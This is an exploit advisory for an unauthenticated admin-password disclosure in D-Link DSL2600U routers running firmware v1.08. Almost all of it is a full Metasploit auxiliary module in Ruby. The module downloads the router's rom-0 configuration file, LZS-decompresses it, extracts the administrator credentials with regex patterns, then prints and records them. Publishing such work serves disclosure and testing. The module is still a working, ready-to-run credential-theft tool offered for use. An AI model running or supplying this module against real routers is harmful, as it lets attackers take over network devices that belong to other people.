================================================================================================================================== | # Title : D-Link DSL2600U rom-0 Admin Password Disclosure | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) | | # Vendor : https://www.dlink.com | ================================================================================================================================== [+] Summary : a vulnerability in D-Link DSL2600U routers (firmware version v1.08) that allows unauthenticated attackers to download the `rom-0` configuration file containing the administrator password. [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'D-Link DSL2600U rom-0 Admin Password Disclosure', 'Description' => %q{ This module exploits a vulnerability in D-Link DSL2600U routers (firmware version v1.08) that allows unauthenticated attackers to download the `rom-0` configuration file containing the administrator password. The `rom-0` file is compressed using LZS compression. After decompression, the admin credentials can be extracted in cleartext. This vulnerability affects D-Link DSL-2600U routers and potentially other D-Link models that expose the `rom-0` file. }, 'Author' => ['indoushka'], 'References' => [ ['URL', 'https://github.com/amirhosseinjamshidi64'], ['URL', 'https://www.dlink.com'] ], 'DisclosureDate' => '2026-05-02', 'License' => MSF_LICENSE, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The path to the rom-0 file', '/rom-0']), OptString.new('OUTPUT_FILE', [false, 'Save decompressed rom-0 to file']), OptBool.new('EXTRACT_CREDS', [true, 'Extract credentials from decompressed data', true]) ]) end class LZSDecompress def self.decompress(data) return nil if data.nil? || data.empty? output = '' idx = 0 data_len = data.length while idx < data_len ctrl = data[idx].unpack('C')[0] idx += 1 if ctrl == 0 output << "\x00" next end if ctrl & 0x80 == 0 count = ctrl & 0x1F if count == 0 count = 31 end if idx + count > data_len count = data_len - idx end output << data[idx, count] idx += count else if ctrl & 0x40 == 0 offset = ((ctrl & 0x1F) << 8) | data[idx].unpack('C')[0] count = ((ctrl >> 5) & 0x03) + 2 idx += 1 if offset > output.length offset = output.length end start_pos = output.length - offset if start_pos >= 0 && start_pos < output.length (0...count).each do |i| pos = start_pos + i if pos < output.length output << output[pos] else output << "\x00" end end else output << "\x00" * count end else offset = ((ctrl & 0x3F) << 8) | data[idx].unpack('C')[0] count = ((ctrl >> 2) & 0x0F) + 3 idx += 1 if offset > output.length offset = output.length end start_pos = output.length - offset if start_pos >= 0 && start_pos < output.length (0...count).each do |i| pos = start_pos + i if pos < output.length output << output[pos] else output << "\x00" end end else output << "\x00" * count end end end end output rescue => e vprint_error("LZS decompression error: #{e.message}") nil end end def fetch_rom0 uri = normalize_uri(target_uri.path) print_status("Downloading #{uri} from #{peer}") res = send_request_cgi( 'method' => 'GET', 'uri' => uri ) if res && res.code == 200 print_good("Successfully downloaded rom-0 file (#{res.body.length} bytes)") return res.body else print_error("Failed to download rom-0 file: HTTP #{res&.code || 'no response'}") return nil end end def extract_credentials(decompressed_data) credentials = [] patterns = [ /(?:password|pass|admin_password|adminpass)[\s]*[=:][\s]*["']?([^"'\s,]+)/i, /"password"\s*:\s*"([^"]+)"/i, /'password'\s*:\s*'([^']+)'/i, /([^<]+)<\/password>/i, /admin[_-]?password[_-]?[\s]*[=:][\s]*["']?([^"'\s,]+)/i, /(?:user|admin)[\s]*[=:][\s]*["']?([^"'\s,]+)/i ] cred_pattern = /([a-zA-Z0-9_]+)[\s]*[=:][\s]*([a-zA-Z0-9_!@#$%^&*]+)/i decompressed_data.scan(cred_pattern) do |match| if match[0] =~ /(user|admin|root|password|pass)/i credentials << { username: match[0], password: match[1] } end end patterns.each do |pattern| decompressed_data.scan(pattern) do |match| if match.is_a?(Array) credentials << { type: 'password', value: match[0] } else credentials << { type: 'password', value: match } end end end admin_patterns = [ /admin[:\s]+([a-zA-Z0-9_!@#$%^&*]+)/i, /Administrator[:\s]+([a-zA-Z0-9_!@#$%^&*]+)/i, /root[:\s]+([a-zA-Z0-9_!@#$%^&*]+)/i ] admin_patterns.each do |pattern| match = decompressed_data.match(pattern) if match credentials << { type: 'admin_password', value: match[1] } end end credentials.uniq end def find_admin_password(decompressed_data) match = decompressed_data.match(/pwdAdmin\s*=\s*"([^"]+)"/i) return match[1] if match match = decompressed_data.match(/admin_password\s*=\s*([^\s]+)/i) return match[1] if match match = decompressed_data.match(/"password"\s*:\s*"([^"]+)"/i) return match[1] if match lines = decompressed_data.split("\n") lines.each do |line| if line =~ /admin/i && line =~ /(=|:)/i parts = line.split(/[=:]/) if parts.length >= 2 candidate = parts[1].strip.gsub(/["']/, '') if candidate.length >= 4 && candidate.length <= 32 return candidate end end end end nil end def save_output(data, filename) begin File.open(filename, 'wb') do |f| f.write(data) end print_good("Saved output to #{filename}") return true rescue => e print_error("Failed to save output: #{e.message}") return false end end def run_host(ip) print_status("D-Link DSL2600U - rom-0 Admin Password Disclosure") print_status("Target: #{peer}") rom0_data = fetch_rom0 if rom0_data.nil? || rom0_data.empty? print_error("Could not retrieve rom-0 file") return end if datastore['OUTPUT_FILE'] save_output(rom0_data, "#{datastore['OUTPUT_FILE']}.raw") end print_status("Decompressing LZS data...") decompressed_data = nil offsets_to_try = [0, 8568, 1024, 2048, 4096, 8192] offsets_to_try.each do |offset| if offset < rom0_data.length vprint_status("Trying decompression at offset #{offset}") decompressed = LZSDecompress.decompress(rom0_data[offset..-1]) if decompressed && decompressed.length > 100 decompressed_data = decompressed print_good("Successfully decompressed data from offset #{offset} (#{decompressed_data.length} bytes)") break end end end if decompressed_data.nil? || decompressed_data.empty? decompressed_data = LZSDecompress.decompress(rom0_data) if decompressed_data && decompressed_data.length > 100 print_good("Successfully decompressed entire file (#{decompressed_data.length} bytes)") else print_error("Failed to decompress rom-0 data") return end end if datastore['OUTPUT_FILE'] save_output(decompressed_data, datastore['OUTPUT_FILE']) end if datastore['EXTRACT_CREDS'] print_status("Extracting credentials from decompressed data...") admin_password = find_admin_password(decompressed_data) if admin_password print_good("Found admin password: #{admin_password}") report_cred( host: ip, port: datastore['RPORT'], service_name: 'http', user: 'admin', private_data: admin_password, private_type: :password, source_id: 'dlink_rom0_disclosure' ) else credentials = extract_credentials(decompressed_data) if credentials.empty? print_warning("No credentials found in decompressed data") readable_strings = decompressed_data.scan(/[ -~]{8,}/) if readable_strings.any? print_status("Found readable strings that might contain credentials:") readable_strings.each do |str| if str =~ /[a-zA-Z0-9]{6,}/ && str.length >= 6 && str.length <= 32 print_status(" Possible credential: #{str}") end end end else print_good("Found #{credentials.length} potential credential(s):") credentials.each do |cred| if cred[:username] && cred[:password] print_status(" #{cred[:username]} : #{cred[:password]}") report_cred( host: ip, port: datastore['RPORT'], service_name: 'http', user: cred[:username], private_data: cred[:password], private_type: :password ) elsif cred[:value] print_status(" Password found: #{cred[:value]}") report_cred( host: ip, port: datastore['RPORT'], service_name: 'http', user: 'unknown', private_data: cred[:value], private_type: :password ) end end end end end print_good("Exploit completed") end end Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================